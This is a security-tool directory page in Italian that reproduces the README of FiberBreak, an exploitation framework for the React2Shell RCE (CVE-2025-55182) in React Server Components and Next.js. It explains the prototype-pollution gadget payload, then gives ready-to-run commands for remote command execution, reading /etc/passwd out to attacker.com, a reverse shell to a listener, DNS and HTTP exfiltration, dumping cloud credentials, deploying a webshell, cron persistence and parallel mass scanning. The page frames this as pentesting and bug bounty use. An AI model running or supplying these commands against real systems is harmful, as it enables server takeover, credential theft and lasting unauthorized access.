Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
FiberBreak — Strumento di sfruttamento React2Shell (CVE-2025-55182) | Kitploit
Strumenti/GitHubGitHub/scumfrog/fiberbreak
RicognizioneScanner di VulnerabilitàExploitSfruttamento di Applicazioni WebEsfiltrazione DatiPost-ExploitPenetration TestingSicurezza CloudCommand and ControlRed TeamingSviluppo Payload
619 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
GitHub
scumfrog/fiberbreak

FiberBreak

Strumento di sfruttamento React2Shell (CVE-2025-55182)

Vedi Repository
Condividi

FiberBreak

Framework di sfruttamento per CVE-2025-55182 (React2Shell) - Vulnerabilità RCE critica in React Server Components.

Panoramica

  • CVE: CVE-2025-55182
  • CVSS: 10.0 (CRITICO)
  • Tipo: Esecuzione remota di codice (RCE)
  • Versioni interessate: da React 19.0.0-rc.0 a 19.0.0, da Next.js 15.0.0 a 15.0.3
  • Scoperta: Lachlan Miller (SonarSource)
  • PoC pubblico: maple3142

Installazione

# Clone repository
git clone https://github.com/scumfrog/fiberbreak
cd fiberbreak

# Install dependencies
pip install -r requirements.txt

# Make executable
chmod +x fiberbreak.py

Avvio rapido

# Build vulnerable testing environment
docker-compose up -d

# Wait for startup
sleep 20

# Test detection
./fiberbreak.py -u http://localhost:3000 detect

# Execute RCE
./fiberbreak.py -u http://localhost:3000 exploit -c "whoami"

# Verify
docker exec react2shell-lab ls -la /tmp/

Dettagli tecnici

Panoramica della vulnerabilità

CVE-2025-55182 è una vulnerabilità critica di esecuzione remota di codice in React Server Components (RSC) che consente a utenti non autenticati di eseguire codice arbitrario sul server.

Causa principale: Il protocollo React Flight deserializza input client non attendibili senza un'adeguata validazione, consentendo agli attaccanti di creare payload dannosi che sfruttano la catena dei prototipi di JavaScript e il costruttore Function.

Vettore di attacco: Gli attaccanti inviano una richiesta POST multipart/form-data appositamente costruita con un header Next-Action a qualsiasi endpoint RSC. Il payload dannoso sfrutta:

  1. L'inquinamento dei prototipi tramite l'accesso a __proto__
  2. L'esposizione del costruttore Function tramite constructor:constructor
  3. La risoluzione di una Promise per attivare l'esecuzione del codice

Flusso di sfruttamento

1. Attacker sends crafted POST request
   └─ multipart/form-data with malicious JSON
   └─ Next-Action header (any value)

2. Server deserializes payload
   └─ React processes RSC chunk format
   └─ Resolves Promise-like object

3. Gadget chain triggers
   └─ __proto__ access bypasses hasOwnProperty checks
   └─ constructor:constructor exposes Function()
   └─ _prefix executes arbitrary code

4. RCE achieved
   └─ Server executes attacker's JavaScript
   └─ Full system compromise

Il gadget

{
  "then": "$1:__proto__:then",           // Prototype pollution
  "status": "resolved_model",            // Fake React internal state
  "reason": -1,                          // Trigger resolution
  "value": '{"then":"$B1337"}',         // Blob reference
  "_response": {
    "_prefix": "MALICIOUS_CODE_HERE;",   // Executed code
    "_formData": {
      "get": "$1:constructor:constructor" // Function() access
    }
  }
}

Percorso di codice interessato

// react-server-dom-webpack/src/ReactFlightClient.js
function resolveModelChunk(chunk) {
  const value = JSON.parse(chunk.value);
  
  // Missing validation here allows malicious chunks
  if (value && typeof value.then === 'function') {
    // Attacker controls 'then' method
    value.then(/* ... */);
  }
}

Utilizzo

Rilevamento della vulnerabilità

# Single target detection
./fiberbreak.py -u https://target.com detect

# Multiple targets from file
./fiberbreak.py -l targets.txt detect --threads 20

# Save results to JSON
./fiberbreak.py -l targets.txt detect -o results.json

# Disable SSL verification
./fiberbreak.py -u https://target.com detect --no-verify-ssl

Sfruttamento di base

# Simple blind command execution
./fiberbreak.py -u https://target.com exploit -c "whoami"

# Write file to disk
./fiberbreak.py -u https://target.com exploit \
  -c "/tmp/pwned.txt:HACKED" -t write_file

# Read file contents
./fiberbreak.py -u https://target.com exploit \
  -c "/etc/passwd:https://attacker.com" -t file_read

Sfruttamento avanzato

# Reverse shell
./fiberbreak.py -u https://target.com exploit \
  -c "10.10.10.10:4444" -t reverse_shell

# DNS exfiltration (stealthy, no HTTP traffic)
./fiberbreak.py -u https://target.com exploit \
  -c "whoami:attacker.oastify.com" -t dns_exfil

# HTTP exfiltration with output
./fiberbreak.py -u https://target.com exploit \
  -c "id:https://attacker.com/exfil" -t http_exfil

# Environment variable dump
./fiberbreak.py -u https://target.com exploit \
  -c "https://attacker.com/env" -t env_dump

# System reconnaissance
./fiberbreak.py -u https://target.com exploit \
  -c "https://attacker.com/recon" -t recon

# Stealth DNS beacon (no command output)
./fiberbreak.py -u https://target.com exploit \
  -c "attacker.oastify.com" -t stealth_beacon

Sfruttamento del cloud

# Auto-detect cloud provider and extract credentials
# Supports: AWS, GCP, Azure, DigitalOcean, Oracle Cloud, Alibaba Cloud
./fiberbreak.py -u https://target.com exploit \
  -c "https://attacker.com/cloud" -t cloud_metadata

Tipi di payload

TipoFormatoDescrizioneOutput
simplecommandEsegue qualsiasi comando shellBlind
outputcommand + --callbackEsecuzione con callback HTTPSì
reverse_shelllhost:lportReverse shell BashInterattiva
dns_exfilcmd:domain o domainEsfiltrazione DNSLog DNS
http_exfilcmd:callback_urlEsfiltrazione HTTPHTTP POST
file_readfilepath:callbackLegge ed esfiltra un fileHTTP POST
write_filefilepath:contentScrive un file su discoBlind
env_dumpcallback_urlDump delle variabili d'ambienteHTTP POST
cloud_metadatacallback_urlEstrae le credenziali del cloudHTTP POST
reconcallback_urlRicognizione di sistemaHTTP POST
stealth_beacondomainBeacon DNSLog DNS
webshellfilepathDistribuisce una webshell Node.jsPorta 8080
persistcallback_urlInstalla la persistenza tramite cronCron job

Scenari reali

Caccia ai bug bounty

# 1. Stealthy detection with DNS beacon
./fiberbreak.py -u https://target.com exploit \
  -c "recon.yourburp.oastify.com" -t stealth_beacon

# 2. If vulnerable, extract sensitive data
./fiberbreak.py -u https://target.com exploit \
  -c "https://yourserver.com/exfil" -t env_dump

# 3. Check for cloud environment
./fiberbreak.py -u https://target.com exploit \
  -c "https://yourserver.com/cloud" -t cloud_metadata

# 4. Document findings without causing damage

Test di penetrazione

# Phase 1: Detection
./fiberbreak.py -u https://target.com detect -o detection.json

# Phase 2: Verification
./fiberbreak.py -u https://target.com exploit \
  -c "/tmp/pentest_proof.txt:PENTEST_$(date +%s)" -t write_file

# Phase 3: Impact Assessment
./fiberbreak.py -u https://target.com exploit \
  -c "https://pentest-server.com/impact" -t recon

# Phase 4: Credential Extraction (if cloud)
./fiberbreak.py -u https://target.com exploit \
  -c "https://pentest-server.com/creds" -t cloud_metadata

# Phase 5: Interactive Access (if authorized)
# Terminal 1: Start listener
nc -lvnp 4444

# Terminal 2: Get shell
./fiberbreak.py -u https://target.com exploit \
  -c "YOUR_IP:4444" -t reverse_shell

Scansione di massa delle vulnerabilità

# Create target list
cat > targets.txt << EOF
https://app1.company.com
https://app2.company.com
https://app3.company.com
https://api.company.com
EOF

# Scan all targets in parallel
./fiberbreak.py -l targets.txt detect --threads 50 -o scan_results.json

# Filter vulnerable targets
cat scan_results.json | jq '.[] | select(.vulnerable==true) | .url'

# Generate report
cat scan_results.json | jq '{
  total: length,
  vulnerable: [.[] | select(.vulnerable==true)] | length,
  targets: [.[] | select(.vulnerable==true) | .url]
}'
Scarica lo strumento